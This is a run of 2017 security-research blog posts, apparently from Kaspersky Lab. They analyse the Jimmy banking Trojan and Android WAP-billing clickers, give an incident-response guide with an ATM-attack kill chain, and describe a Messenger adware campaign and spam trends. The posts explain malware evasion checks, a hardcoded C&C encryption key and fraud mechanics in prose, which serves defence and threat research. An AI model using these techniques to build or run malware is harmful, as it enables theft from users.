|01:58:56:654|.[0372|KernelInjector::CopyDllFromBuffer ].CTRLPROC = 0
|01:58:57:607|.[0375|KernelInjector::CopyDllFromBuffer ].+ INJECTED +
|01:58:58:419|.[0351|WinMain ].+++ Load in 1260

References – past Turla research

The Epic Turla Operation
Satellite Turla: APT Command and Control in the Sky
Agent.btz: a Source of Inspiration?
The ‘Penquin’ Turla
Penquin’s Moonlit Maze
KopiLuwak: A New JavaScript Payload from Turla

Uroburos: the snake rootkit [pdf]
The Snake Campaign

2017. augusztus 29.

Jimmy Nukebot: from Neutrino with love

“You FOOL! This isn’t even my final form!”

In one of our previous articles, we analyzed the NeutrinoPOS banker as an example of a constantly evolving malware family. A week after publication, this Neutrino modification delivered up a new malicious program classified by Kaspersky Lab as Trojan-Banker.Win32.Jimmy.

NeutrinoPOS vs Jimmy

The authors seriously rewrote the Trojan – the main body was restructured, the functions were moved to the modules. One small difference that immediately stands out is in the calculation of checksums from the names of API functions/libraries and strings. In the first case, the checksums are used to find the necessary API calls; in the second case, for a comparison of strings (commands, process names). This approach makes static analysis much more complicated: for example, to identify which detected process halts the Trojan operation, it’s necessary to calculate the checksums from a huge list of strings, or to bruteforce the symbols in a certain length range. NeutrinoPOS uses two different algorithms to calculate checksums for the names of API calls, libraries and for the strings. They look like this:

Restored NeutrinoPOS code to calculate checksums for arbitrary strings and for API calls

In Jimmy, only one algorithm is used for these purposes – a slight modification of CalcCS from NeutrinoPOS. The final XOR with the fixed two-byte value was added to the pseudo-random generator.

Calculation of checksums in Jimmy

The Trojan has completely lost the functionality for stealing bank card data from the memory of an infected device; now, its task is limited solely to receiving modules from a remote node and installing them into the system. The scan of the infected host has been extended: in addition to the checks inherited from Neutrino, the Trojan also examines its own name – it should not be a checksum in the MD5, SHA-1, SHA-256 format. Or, alternatively, it should contain the ‘.’ symbol, indicating a subsequent extension (for example, ‘exe’). Plus, by using the assembly command cpuid, the Trojan gets information about the processor and compares it with the list of checksums “embedded” into it.

Additional Jimmy checks

The communication protocol with the C&C server also remains unchanged: the same exchange of “enter”, “success” in base64 commands is used, but now the answer is encrypted with RC4 beforehand and the key hardcoded in the body of the Trojan (a8A5QfZk3r7FHy9o6C2WpBc44TiXg93Y for the sample in question). The code for extracting the encryption key is here.

Analysis of modules

As mentioned above, the main body of the Trojan only receives modules – these contain the payload. We managed to get hold of new modules for web-injects, mining and a large number of updates for the main module in various droppers.

The miner is designed to extract the Monero currency (XMR). In the module code there is an identifier associated with a wallet for which the crypto currency is extracted, as well as the address of the pool. Monero is very popular with virus writers – it’s mined by SambaCry, which we described in June and Trojan.Win32.DiscordiaMiner that appeared shortly afterwards. By the way, the source code of the latter was made publicly available by the author. The reason for doing so was the same that prompted the author of NukeBot to do likewise: an attempt to stifle disagreements in forums and to avoid accusations of fraud (the repository with the code is currently unavailable).

Thanks to the identifier/pool pair, we got statistics on all the nodes working for this wallet. The start date of mining – 4 July – coincides with the compilation of the main body of the first discovered sample and is extremely close to the date of compilation of the dropper (06 July 13:14:55 2017 UTC), the main body (02 July 14:19:03 2017 UTC) and the modules for web injects (July 02, 14:18:39 2017 UTC). So it’s safe to say that Jimmy began to proliferate in early July.

It’s worth noting that the amount of money in the wallet is small – only ~ 0.55 XMR, which as of 21 August is only $45. Judging by the general decline and absence of payments, the authors quickly abandoned the use of miners or changed their wallet.

The web-inject modules are so called for their primary intended use, although they are also able to perform functions similar to those in NeutrinoPOS, i.e., take screenshots, “raise” proxy servers, etc. These modules are distributed in the form of libraries and their functions vary depending on the name of the process in which they are located. As you can see from the screenshot below, in three cases out of five the ChromeHook procedure is called for browsers. This is not surprising, considering the large number of Chrome-based browsers. Unfortunately, it was possible to restore the name from the checksum for only one of them – chrome.exe (0xFC0C7619). Checksums are calculated using the algorithm described in the previous section.

Restored code of the main procedure in the module of Jimmy web injects

Like NeutrinoPOS, Jimmy stores a number of parameters in the registry. In the sample in question, the data is in the HKEY_CURRENT_USER\Software\c2Fsb21vbkBleHBsb2l0Lmlt branch. For example, this is where the web-inject module receives the address of the currently used DNS server from – this is critical when using NamCoin-like addresses as a C&C server.

For Firefox and Internet Explorer, the function hook is performed by the straightforward substitution of the called function addresses in the loaded libraries (etc. InternetConnectW / PR_Read). With Chrome, things are a bit more complicated – the necessary libraries are linked statically. But the subsequent substitution of data using web injects coincides.

Restored web-inject processing code

So far we have only managed to get a test sample of the web injects (in the screenshot below); in the future the Trojan will most likely acquire ‘combat’ versions. Here you can find examples of web injects and the keys used. To recap, decryption entails decoding the string using base64 and then decrypting with RC4.

Request from Jimmy for web injects

Example of the Jimmy test web injects

In the pictures below several procedures in the source code of NukeBot and the restored code of Jimmy are compared. It can clearly be seen that they completely coincide.

Conclusion

In isolation from the previous modifications, the newly created Jimmy would not be of much interest to researchers. However, in this context, it is an excellent example of what can be done with the source code of a quality Trojan, namely, flexibly adapt to the goals and tasks set before a botnet to take advantage of a new source.

MD5

Droppers
c989d501460a8e8e381b81b807ccbe90 (рассмотрен в статье)
E584C6E999A509AC21583D9543492EF4
2e55bd0d409bf9658887e02a7c578019
bccd77cf0269da7dc914885cda626c6c
86d7d3b50e4dc4181c28ccbaafb89ab3

Main body
174256b5f1ee80be1b847d428c5180e2
336841d91c37b07134adba135828e66e
FE9A46CEFDB41095F10D459BB9943682

Modules
380356b8297893b4fc9273d42f15e9db
2fa18456e14bea53ec0d7c898d94043b
7040b5ac432064780a17024ab0a3792a
629a4d2b79abe48fb21afd625f674354
05846839DAA851006B119A2B4F9687BF
2362E3BEBAD1089DDFE40C8996B0BF45
380356B8297893B4FC9273D42F15E9DB
4042C27F082F48E253BE66528938640C
443831A3057E9A62455D4BD3C7E04144
4762B90C0305A2681CE42B9D05B9E741
CB01E3A0799D4C318F74E439CCE0413F
D9F58167A9A22BD1FA9AA0F991AEAF11
E991936E09697DE8495D05B484F3A3E2

2017. augusztus 25.

Neutralization reaction

 Incident Response Guide (PDF)

Despite there being no revolutionary changes to the cyberthreat landscape in the last few years, the growing informatization of business processes provides cybercriminals with numerous opportunities for attacks. They are focusing on targeted attacks and learning to use their victims’ vulnerabilities more effectively while remaining under the radar. As a result, businesses are feeling the effects of next-gen threats without the appearance of new malware types.

Unfortunately, corporate information security services often turn out to be unprepared: their employees underestimate the speed, secrecy and efficiency of modern cyberattacks and do not recognize how ineffective the old approaches to security are. Even with traditional prevention tools such as anti-malware products, IDS/IPS and security scanners combined with detection solutions like SIEM and anti-APT, this costly complex may not be used to its full potential. And if there is no clear understanding of what sort of incident it is, an attack cannot be repelled.

More detailed information on the stages involved in organizing a cyberattack and responding to incidents can be found in the full version of this guide or obtained within the framework of Kaspersky Lab’s educational program. Here we will only focus on the main points.

Planning an attack

First of all, it should be noted that by targeted attacks we are referring to serious operations prepared by qualified cybercriminals. Cyber hooliganism such as defacing the homepage of a site carried out to attract attention or demonstrate capabilities, are not considered here. As a rule, successful activities of this kind means a company has no information security service to speak of, even if one exists on paper.

The basic principles of any targeted attack include thorough preparation and a stage-by-stage strategy. Here we will investigate the sequence of stages (known as the kill chain), using as an example an attack on a bank to steal money from ATMs.

1. Reconnaissance

At this stage, publicly available information about the bank and its data assets is collected. In particular, the attacker tries to determine the company’s organizational structure, tech stack, the information security measures as well as options for carrying out social engineering on its employees. The last point may include collecting information on forums and social networking sites, especially those of a professional nature.

2. Weaponization

Once the data is collected, cybercriminals choose the method of attack and select appropriate tools. They may use new or already existing malware that allows them to exploit detected security vulnerabilities. The malware delivery method is also selected at this stage.

3. Delivery

To deliver the necessary malware, email attachments, malicious and phishing links, watering hole attacks (infection of sites visited by employees of the targeted organization) or infected USB devices are used. In our example, the cybercriminals resorted to spear phishing, sending emails to specific bank employees on behalf of a financial regulator – the Central Bank of the Russian Federation (Bank of Russia). The email contained a PDF document that exploited a vulnerability in Adobe Reader.

4. Exploitation

In the event of a successful delivery, for example, an employee opening the attachment, the exploit uses the vulnerability to download the payload. As a rule, it consists of the tools necessary to carry out the subsequent stages of the attack. In our example, it was a Trojan downloader that, once installed, downloaded a bot from the attacker’s server the next time the computer was switched on.

If delivery fails, cybercriminals usually do not just give up; they take a step (or several steps) back in order to change the attack vector or malware used.

5. Installation

Malicious software infects the computer so that it cannot be detected or removed after a reboot or the installation of an update. For example, the above Trojan downloader registers itself in Windows startup and adds a bot there. When the infected PC is started next time, the Trojan checks the system for the bot and, if necessary, reloads it.

The bot, in turn, is constantly present in the computer’s memory. In order to avoid user suspicion, it is masked under a familiar system application, for example, lsass.exe (Local Security Authentication Server).

6. Command and control

At this stage, the malware waits for commands from the attackers. The most common way to receive commands is to connect the C&C server that belongs to the fraudsters. This is what the bot in our example did: when it first addressed the C&C server, it received a command to carry out further proliferation (lateral movement) and began to connect to other computers within the corporate network.

If infected computers do not have direct access to the Internet and cannot connect directly to the C&C server, the attacker can send other software to the infected machine, deploy a proxy server in the organization’s network, or infect physical media to overcome the ‘air gap’.

7. Actions on objective

Now, the cybercriminals can work with the data on a compromised computer: copying, modifying or deleting it. If the necessary information is not found, the attackers may try to infect other machines in order to increase the amount of available information or to obtain additional information that allows them to reach their primary goal.

The bot in our example infected other PCs in search of a machine from which it could log on as an administrator. Once such a machine was found, the bot turned to the C&C server to download the Mimikatz program and the Ammyy Admin remote administration tools.

Example of Mimikatz execution. All the logins and passwords are entered in clear view, including the Active Directory user passwords.

If successful, the bot can connect to the ATM Gateway and launch attacks on ATMs: for example, it can implement a program in an ATM that will dispense cash when a special plastic card is detected.

The final stage of the attack is removing and hiding any traces of the malware in the infected systems, though these activities are not usually included in the kill chain.

The effectiveness of incident investigation and the extent of material and reputational damage to the affected organization directly depend on the stage at which the attack is detected.

If the attack is detected at the ‘Actions on objective’ stage (late detection), it means the information security service was unable to withstand the attack. In this case, the affected company should reconsider its approach to information security.

My network is my castle

We have analyzed the stages of a targeted attack from the point of view of cybercriminals; now let’s look at it from the point of view of the affected company’s information security staff. The basic principles behind the work of both sides are essentially the same: careful preparation and a step-by-step strategy. But the actions and tools of the information security specialists are fundamentally different because they have very different objectives, namely:

  • Mitigate the damage caused by an attack;
  • Restore the initial state of the information system as quickly as possible;
  • Develop instructions to prevent similar incidents in future.

These objectives are achieved in two main stages – incident investigation and system restoration. Investigation must determine:

  • Initial attack vector;
  • Malware, exploits and other tools used by the attackers;
  • Target of the attack (affected networks, systems and data);
  • Extent of damage (including reputational damage) to the organization;
  • Stage of attack (whether it is completed and goals are achieved);
  • Time frames (time the attack started and ended, when it was detected in the system and response time of the information security service).

Once the investigation is completed, it is necessary to develop and implement a system recovery plan, using the information obtained during investigation.

Let’s return to the step-by-step strategy. Overall, the incident response protection strategy looks like this:

Incident response stages

As with the stages of the targeted attack, we will analyze in more detail each stage involved in combating an attack.

1. Preparation

Preparation includes developing processes and policies and selecting tools. First of all, it means the creation of a multi-level security system that can withstand intruders using several attack vectors. The levels of protection can be divided into two groups.

The first includes the installation of tools designed to prevent attacks (Prevention):

  • security solutions for workstations;
  • intrusion detection and intrusion prevention systems (IDS/IPS);
  • firewall to protect the Internet gateway;
  • proxy server to control Internet access.

The second group consists of solutions designed to detect threats (Detection):

  • SIEM system with integrated threat reporting component that monitors events occurring in the information system;
  • Anti-APT system that compares data on detected threats delivered by various security mechanisms;
  • Honeypot – a special fake object for cyberattacks that is isolated and closely monitored by the information security service;
  • EDR-systems (tools for detecting and responding to threats on endpoints) that raise awareness of events occurring on endpoints and enable automatic containment and elimination of threats.

The organization we chose as an example was ready for unexpected attacks. The ATMs were separated from the main network of the bank, with access to the subnet limited to authorized users.

Network of the attacked organization

The SIEM system was used to monitor and analyze events occurring on the network. It collected:

  • information about network connections to the proxy server that was used by all employees to access the Internet;
  • integrated threat data feeds provided by Kaspersky Lab specialists;
  • notifications of emails that passed through the Postfix mail server, including information about headers, DKIM signatures, etc.;

SIEM also received information about security solution activation on any workstation in the corporate IT infrastructure.

Another important preparation element is penetration testing to predict the possible vector of a cyberattack. Penetration of the corporate network can be simulated by both the company’s IT specialists and third-party organizations. The latter option is more expensive, though preferable: organizations that specialize in pen tests have extensive experience and are better informed about the current threat vectors.

The last – but by no means least – important element is educating the organization’s employees. This includes internal cybersecurity training for all employees: they should be aware of the corporate security policies and know what to do in the event of a cyberattack. It also includes targeted training for specialists responsible for the company’s information security, as well as the accumulation of information about security incidents inside and outside the company. This information may come from different sources such as internal company reports or third-party organizations that specialize in analyzing cyberthreats, for example, Kaspersky Threat Intelligence Portal.

2. Identification

At this stage, it is necessary to determine whether it is actually an incident or not. Only then can the alarm be raised and colleagues warned. In order to identify an incident, so-called triggers are used – events that indicate a cyberattack. These include attempts by a workstation to connect to a known malicious C&C server, errors or failures in security software performance, unexpected changes to user rights, unknown programs on the network, and much more.

Information about these events can come from a variety of sources. Here we will consider two key types of triggers:

  • Triggers generated by EPP management systems. When a security solution on one of the workstations detects a threat, it generates an event and sends it to the management system. However, not all events are triggers: for example, an event that indicates the detection of a malicious program can be followed by an event about its neutralization. In this case, investigation is not necessary, except when the situation occurs regularly on the same machine or with the same user.
  • Incident triggers generated by SIEM systems. SIEM systems can accumulate data from a huge number of security controls, including proxy servers and firewalls. Triggers are only considered to be those events that are created based on comparing incoming data and threat reports.

To identify an incident, the information available to the information security service is compared with a list of known indicators of compromise (IOC). Public reports, threat data feeds, static and dynamic sample analysis tools, etc. can be used for this purpose.

Static analysis is performed without launching the test sample and includes collecting various indicators, such as strings containing a URL or an email address, etc. Dynamic analysis involves executing the program under investigation in a protected environment (sandbox) or on an isolated machine in order to identify the sample’s behavior and collect indicators of compromise.

Cycle of IOC detection

As seen from the picture above, collecting IOCs is a cyclic process. Based on the initial information from the SIEM system, identification scenarios are generated, which leads to the identification of new indicators of compromise.

Here is an example of how threat data feeds can be used to identify a spear-phishing attack – in our case, emails with an attached PDF document that exploits an Adobe Reader vulnerability.

  1. SIEM will detect the IP address of the server that sent the email using IP Reputation Data Feed.
  2. SIEM will detect the request to load the bot using Malicious URL Data Feed.
  3. SIEM will detect a request to the C&C server using Botnet C&C URL Data Feed.
  4. Mimikatz will be detected and removed by a security solution for workstations; information about the detection will go to SIEM.

Thus, at an early stage, an attack can be detected in four different ways. It also means the company will suffer minimal damage.

3. Containment

Suppose that, due to a heavy workload, the information security service couldn’t respond to the first alarms, and by the time there was a response, the attack had reached the sixth stage, i.e., malware had successfully penetrated a computer on the corporate network and tried to contact the C&C server, and the SIEM system had received notice of the event.

In this case, the information security specialists should identify all compromised computers and change the security rules to prevent the infection from spreading over the network. In addition, they should reconfigure the information system so that it can ensure the company’s continuous operation without the infected machines. Let’s consider each of these actions in more detail.

Isolation of compromised computers

All compromised computers should be identified, for example, by finding in SIEM all calls to the known C&C address – and then placed in an isolated network. In this case, the routing policy should be changed to prevent communication between compromised machines and other computers on the corporate network, as well as the connection of compromised computers to the Internet.

It is also recommended to check the C&C address using a special service, for example, Threat Lookup. As a result, this provides not only the hashes of the bots that interacted with the C&C server but also the other addresses the bots contacted. After that it is worth repeating the search in SIEM across the extended list of indicators, since the same bot may have interacted with several C&C servers on different computers. All infected workstations that are identified must be isolated and examined.

In this case, the compromised computers should not be turned off, as this can complicate the investigation. Specifically, some types of malicious program only use the computer’s RAM and do not create files on the hard disk. Other malware can remove an IOC once the system receives a turn-off signal.

Also, it is not recommended to disconnect (primarily physically) the local network connections of the affected PC. Some types of malware monitor the connection status, and if the connection is not available for a certain period of time, malware can begin to remove traces of its presence on the computer, destroying any IOCs. At the same time, it makes sense to limit the access of infected machines to the internal and external networks (for example, by blocking the transfer of packets using iptables).

For more information on what to do if the search by a C&C address does not provide the expected results, or on how to identify malware, read the full version of this guide.

Creation of memory dumps and hard disk dumps

By analyzing memory dumps and hard disk dumps of compromised computers, you can get samples of malware and IOCs related to the attack. The study of these samples allows you to understand how to deal with the infection and identify the vector of the threat in order to prevent a repeat infection using a similar scenario. Dumps can be collected with the help of special software, for example, Forensic Toolkit.

Maintaining system performance

After the compromised computers are isolated, measures should be taken to maintain operation of the information system. For example, if several servers were compromised on the corporate network, changes should be made to the routing policy to redirect the workload from compromised servers to other servers.

4. Eradication

The goal of this stage is to restore the compromised information system to the state it was in before the attack. This includes removing malware and all artifacts that may have been left on the infected computers, as well as restoring the initial configuration of the information system.

There are two possible strategies to do this: full reinstallation of the compromised device’s OS or simply removing any malicious software. The first option is suitable for organizations that use a standard set of software for workstations. In this case, you can restore the operation of the latter using the system image. Mobile phones and other devices can be reset to the factory settings.

In the second case, artifacts created by malware can be detected using specialized tools and utilities. More details about this are available in the full version of our guide.

5. Recovery

At this stage, those computers that were previously compromised are reconnected to the network. The information security specialists continue to monitor the status of these machines to ensure the threat has been eliminated completely.

6. Lessons learned

Once the investigation has been completed, the information security service must submit a report with answers to the following questions:

  • When was the incident identified and who identified it?
  • What was the scale of the incident? Which objects were affected by the incident?
  • How were the Containment, Eradication, and Recovery stages executed?
  • At what stages of incident response do the actions of the information security specialists need to be corrected?

Based on this report and the information obtained during the investigation, it is necessary to develop measures to prevent similar incidents in the future. These can include changes to the security policies and configuration of corporate resources, training on information security for employees, etc. The indicators of compromise obtained during the incident response process may be used to detect other attacks of this kind in the future.

In order of priority

Troubles come in threes, or so the saying goes, and it can be the case that information security specialists have to respond to several incidents simultaneously. In this situation, it is very important to correctly set priorities and focus on the main threats as soon as possible – this will minimize the potential damage of an attack.

We recommend determining the severity of an incident, based on the following factors:

  • Network segment where the compromised PC is located;
  • Value of data stored on the compromised computer;
  • Type and number of other incidents that affected the same PC;
  • Reliability of the indicator of compromise for the given incident.

It should be noted that the choice of server or network segment that should be saved first, and the choice of workstation that can be sacrificed, depends on the specifics of the organization.

If the events, originating from one of the sources, include an IOC published in a report on APT threats or there is evidence of interaction with a C&C server previously used in an APT attack, we recommend dealing with these incidents first. The tools and utilities described in the full version of our Incident Response Guide can help.

Conclusion

It is impossible in one article to cover the entire arsenal that modern cybercriminals have at their disposal, describe all existing attack vectors, or develop a step-by-step guide for information security specialists to help respond to every incident. Even a series of articles would probably not be sufficient, as modern APT attacks have become extremely sophisticated and diverse. However, we hope that our recommendations about identifying incidents and responding to them will help information security specialists create a solid foundation for reliable multi-level business protection.

2017. augusztus 24.

WAP-billing Trojan-Clickers on rise

During the preparation of the “IT threat evolution Q2 2017” report I found several common Trojans in the “Top 20 mobile malware programs” list that were stealing money from users using WAP-billing – a form of mobile payment that charges costs directly to the user’s mobile phone bill so they don’t need to register a card or set up a user-name and password. This mechanism is similar to premium rate SMS messages but Trojans do not need to send any SMS in this case – they just need to click on a button on a web-page with WAP-billing.

From user’s perspective a page with WAP-billing looks like regular web-page. Usually such pages contain complete information about payments and a button. By clicking on this button user will be redirected to a mobile network operator server, which may show additional information and request user’s final decision about payment by clicking on another button. If the user connects to the Internet through mobile data, the mobile network operator can identify him/her by IP address. Mobile network operators charges users only if they are successfully identified and only after click on the button.

From a financial point of view, this mechanism is similar to the Premium rate SMS service – charge is directly applied to users’ phone bills. However, in this case Trojans do not need to send any SMS – just to click on button on a web-page with WAP-billing.

We hadn’t seen any Trojans like this in a while, but several of them appeared out of nowhere. Different Trojans from different cybercriminal groups targeting different countries (Russia and India) became common at the same time. Most of them had been under development since the end of 2016 / the beginning of 2017, but their prevalence increased only in the second half of Q2 2017. Therefore, I decided to take a closer look at these Trojans.

In general, these Trojans are doing similar things. First, they turn off WiFi and turn on mobile Internet. They do this because WAP-billing works only through mobile Internet. Then they open a URL which redirects to the page with WAP-billing. Usually, Trojans load such pages and click on buttons using JavaScript (JS) files. After that they need to delete incoming SMS messages containing information about subscriptions from the mobile network operator.

Furthermore, some of them have the ability to send premium rate SMS messages. In addition, some are exploiting Device Administrator rights to make it harder to delete the Trojan.

Trojan-Clicker.AndroidOS.Ubsod

I started with Trojans that are detected as Trojan.AndroidOS.Boogr.gsh. These files are recognized as malicious by our system, based on machine learning algorithms. The most popular files detected in Q2 2017 by ML detection were Trojans abusing WAP-billing services. After analyzing them, I found that they belong to the Trojan-Clicker.AndroidOS.Ubsod malware family.

Part of Trojan-Clicker.AndroidOS.Ubsod code where Trojan opens URLs.

It is a small and simple Trojan that receives some URLs from its command and control server (CnC) and opens them. These URLs could just be AD URLs where the Trojan pretends that it is a type of advertising software by using class names like “ViewAdsActivity”. But, it can delete all incoming SMS messages that contain the text “ubscri” (part of “Subscription”) or “одпи” (part of “Подписка”, Subscription in Russian). Furthermore, it can turn off WiFi and turn on mobile data. Trojans need this because WAP-billing only works when the page is visited through mobile internet, not through WiFi.

Part of Trojan code to delete AoC (advice of charge) messages.

After analyzing these Trojans, I found that some of them (MD5 A93D3C727B970082C682895FEA4DB77B) also contain a different functionality – to decrypt and load (execute) additional executable files. This functionality is detected as Trojan-Dropper.AndroidOS.Ubsod. These Trojans, in addition to stealing money through WAP-billing services, were also executing another Trojan, detected as Trojan-Banker.AndroidOS.Ubsod.

Part of Trojan-Banker.AndroidOS.Ubsod code with some constants

An interesting thing about Trojan-Banker.AndroidOS.Ubsod was that it was distributed not only in other Trojans, but also as a standalone Trojan (MD5 66FE79BEE25A92462A565FD7ED8A03B4). It is a powerful Trojan with lots of capabilities. It can download and install apps, overlay other apps with its windows (mostly to steal credentials or credit card details), show ads, send SMS messages, steal incoming messages and even execute commands in the device shell. Furthermore, it has features that steal money by abusing WAP-billing services, which mean that in some cases infected users had two Trojans attacking the same thing.

Some of Trojan-Banker.AndroidOS.Ubsod commands

According to KSN statistics it was the most popular of all such Trojans, with almost 8,000 infected users in July 2017 from 82 countries. 72% of attacked users were in Russia.

Xafekopy

Another malware family that has become popular during the last few months is Trojan-Clicker.AndroidOS.Xafekopy. This Trojan uses JS files to click on buttons on web-pages containing WAP billing to silently subscribe users to services. The most interesting thing is that these JS files look similar to Ztorg’s module JS files; they even have the same names for some functions. This Trojan was created by some Chinese-speaking developers (just like Ztorg) but mainly attacks Indian (37%) and Russian (32%) users.

Part of JS files used by Trojan-Clicker.AndroidOS.Xafekopy to click on buttons

This Trojan is distributed through ads masquerading as useful apps, mostly as battery optimizers. After installation, it acts like a useful app but with one difference – it loads a malicious library. This library decrypts and loads files from the assets folder of the installation package. These files decrypt and load another file from the assets folder which contains the main malicious functionality. It decrypts (yep, decryption again) JS files. Using these JS files it can bypass captcha forms and click on web-pages with WAP billing. By doing so it steals money from a user’s mobile accounts. It can also click on some ad pages to make money from ads.

While users see a “Battery Master” interface the Trojan is trying to steal money

The files with the main functionality (which was decrypted) contain URLs with WAP-billings. I was able to find only two different versions of this file – one version contains Indian links, another – Russian links.

It also can send SMS messages (most likely premium rate SMS). It steals incoming SMS messages and deletes some (most likely AoC messages).

According to KSN statistics, almost 40% of attacked users were in India, but in total we saw it attacking more than 5,000 users from 48 different countries in July 2017.

Autosus

The main purpose of Trojan-Clicker.AndroidOS.Autosus.a is to steal a user’s money by clickjacking pages with WAP-billing. To do so, the Trojan receives the JS file and URL to click on. It also can hide from user’s incoming SMS using rules received from the CnC.

Part of Trojan-Clicker.AndroidOS.Autosus.a code

After starting, the Trojan will ask the user to activate device administrator rights for this Trojan. After that, the Trojan will delete its icon from the app list so users won’t be able to easily find it. Meanwhile the Trojan will continue working in the background, receiving its CnC commands to open URLs and click on buttons.

Part of Trojan-Clicker.AndroidOS.Autosus.a code to work with data from CnC

This Trojan attacked more than 1,400 users in July 2017, most of them were from India (38%), South Africa (31%) and Egypt (15%).

Podec

When talking about clickjacking WAP-billing services, we should mention Trojan-SMS.AndroidOS.Podec.a. This Trojan – initially found in 2014 – was a regular Trojan-SMS until 2015, when cybercriminals switched to attacking WAP-billing services. This Trojan has lots of functionality but its main task is to steal money by subscribing users to WAP services. It was the first mobile Trojan that was able to bypass captcha. Over the next few years it became of the most popular mobile Trojans. It’s last appearance in the top 20 most popular mobile Trojans was in Q2 2016.

Podec is still actively distributing, mainly in Russia. It was the third most common Trojan in June 2017, among other Trojans abusing WAP-billings.

Conclusion

During last few months, we have detected a growth of Trojans attacking WAP-billing services in different countries. Although Trojans with such functionality have been infecting users for years, we see, that there are several new Trojans, and the number of infected users has been significantly increased in recent months. Furthermore, previously WAP-billing services were under attack mostly in Russia, but now we have detected such attacks in different countries, including India and South Africa.

Even some Trojans which traditionally specialized in other attacks, started stealing users’ money by clickjacking WAP-billing services.

We weren’t able to find a reason why so many cybercriminals decided to switch or to start attacking WAP-billing services at the same time. WAP-billing services are not a new thing – in some countries they’ve been existed for several last years.

MD5

F3D2FEBBF356E968C7310EC182EE9CE0
9E492A6FB926E1338DADC32463196288
A93D3C727B970082C682895FEA4DB77B
66FE79BEE25A92462A565FD7ED8A03B4
AEAE6BFDD18712637852C6D824955859
DA07419994E65538659CD32BF9D18D8A

2017. augusztus 24.

New multi platform malware/adware spreading via Facebook Messenger

One good thing about having a lot of Facebook friends is that you simply act as a honey pot when your friends click on malicious things. A few days ago I got a message on Facebook from a person I very rarely speak to, and I knew that something fishy was going on.

After just a few minutes analyzing the message, I understood that I was just peeking at the top of this iceberg. This malware was spreading via Facebook Messenger, serving multi platform malware/adware, using tons of domains to prevent tracking, and earning clicks. The code is advanced and obfuscated.

Here is a screenshot of the JavaScript, an potential injector. Filename is “injection.js” (ebc117c0cf03ad4b13184d1253862586)

The initial spreading mechanism seems to be Facebook Messenger, but how it actually spreads via Messenger is still unknown. It may be from stolen credentials, hijacked browsers or clickjacking. At the moment we are not sure because this research is still ongoing.

The message uses traditional social engineering to trick the user into clicking the link. The message reads “David Video” and then a bit.ly link.

The link points to a Google doc. The document has already taken a picture from the victim’s Facebook page and created a dynamic landing page which looks like a playable movie.

When the victim clicks on the fake playable movie, the malware redirects them to a set of websites which enumerate their browser, operating system and other vital information. Depending on their operating system they are directed to other websites.

This technique is not new and has a lot of names. I would like to describe it as a domain chain, basically just A LOT of websites on different domains redirecting the user depending on some characteristics. It might be your language, geo location, browser information, operating system, installed plugins and cookies.

By doing this, it basically moves your browser through a set of websites and, using tracking cookies, monitors your activity, displays certain ads for you and even, in some cases, social engineers you to click on links.

We all know that clicking on unknown links is not something that’s recommended, but through this technique they can basically force you to do so.

What I noticed during my research was that when changing the User-Agent header (browser information) the malware redirects you to different landing pages. For example, when using FIREFOX I was redirected to a website displaying a fake Flash Update notice, and then offered a Windows executable. The executable is flagged as adware.

When using the Google Chrome browser I was redirected to a website which mimics the layout of YouTube, even including the YouTube logo. The website then displays a fake error message tricking the user to download a malicious Google Chrome extension from the Google Web Store.

The Chrome Extension is a Downloader, which means that it downloads a file to your computer. At the time of writing, the file which should have been downloaded was not available.

One interesting finding is that the Chrome Extension has log files from the developers displaying usernames. It is unclear if this is related to the campaign, but it is still an amusing piece of information.

When using the OSX Safari browser I ended up on a similar website to the one I was directed to when using Firefox, but it was customized for OSX users. It was a fake update for Flash Media Player, and when I clicked the link an OSX executable .dmg file was downloaded. This file was also adware.

It has been a while since I saw these adware campaigns using Facebook, and its pretty unique that it also uses Google Docs, with customized landing pages. As far as I can see no actual malware (Trojans, exploits) are being downloaded but the people behind this are most likely making a lot of money in ads and getting access to a lot of Facebook accounts.

Please make sure that you don’t click on these links, and please update your antivirus!

2017. augusztus 22.

Spam and phishing in Q2 2017


Spam: quarterly highlights Delivery service Trojans

At the start of Q2 2017, we registered a wave of malicious mailings imitating notifications from well-known delivery services. Trojan downloaders were sent out in ZIP archives, and after being launched they downloaded other malware – Backdoor.Win32.Androm and Trojan.Win32.Kovter. The usual trick of presenting dangerous content as important delivery information was employed by the fraudsters to make recipients open the attachment. The malicious mailings targeted people from different countries and came in a variety of languages.

These fake notifications from delivery services also included malicious links to infect the victim’s computer and steal personal information. The fraudulent link was tied to the tracking number of a non-existent shipment and used the following format:

Http: // domain / name of delivery service __com__WebTracking__tracknum__4MH38630431475701

The domain and the sequence of letters and numbers at the end of the link varied within the same mass mailing.

After a user clicked on the link, the Js.Downloader family Trojan was downloaded, which in turn downloaded the banking Trojan Emotet. This malware was first detected in June 2014, and is still used to steal personal financial information, logins and passwords from other services, as well as to send spam, etc.

WannaCry in spam

In May 2017, hundreds of thousands of computers worldwide were infected by the WannaCry ransomware. While the majority of similar ransomware samples require some sort of user input before a computer is infected, WannaCry could do so without any user actions. It attacks the target using a Windows exploit and then infects all computers within the local network. Like other ransomware of this type, WannaCry encrypts files on the victim’s computer and demands a ransom for decryption. In these attacks, files are encrypted with the extension .wcry and become unreadable.

The media frenzy surrounding the WannaCry ransomware played into spammers’ hands, as all high-profile events usually do. For example, they distributed numerous offers of services to counter the new malware, to prevent infection, training for users, etc. Scammers who earn money via fraudulent mailings also took advantage.

They sent out fake notifications on behalf of well-known software vendors informing recipients that their computers had been infected with ransomware and had to be updated. The link to the supposed update, of course, led to a phishing page. We came across emails that showed the attackers hadn’t taken much care when compiling their mailings, obviously hoping their victims would be in too much of a panic to notice some obvious mistakes (sender’s address, URLs, etc.).

Malware in password-protected archives and the corporate sector

In the second quarter of 2017, we came across new mailings containing malicious attachments in a password-protected archive. They were obviously targeting the corporate sector.

As a rule, the distribution of password-protected archives serves two purposes. First, it is a form of social engineering, with the attackers emphasizing that all confidential data (such as business accounts) is additionally protected by a password. Second, until the files are extracted from the archive, they cannot be fully checked by antivirus software.

These archives contained a malicious program belonging to the Pony/FareIT family. This malware is designed to steal logins and passwords to web services stored in browsers, the URLs on which they were entered, authentication data to FTP servers, file managers, mail clients, synchronization applications, as well as crypto-currency wallets.

This archive contains a malicious program called Trojan-Downloader.MSWord.Agent.bkt, which is a password-protected Microsoft Word file. The document contains a malicious script that downloads other malicious software designed to steal bank data to the user’s computer.

It is worth noting that the tendency to mask malicious mailings as business correspondence has increased. Spammers are now not only copying the style of business emails – they often use the actual details of real companies, copy auto-signatures and logos, and even the subject of the messages can correspond to the company profile. Judging by the domain addresses in the ‘To’ field and by the content of the emails, these mailings also target the B2B sector.

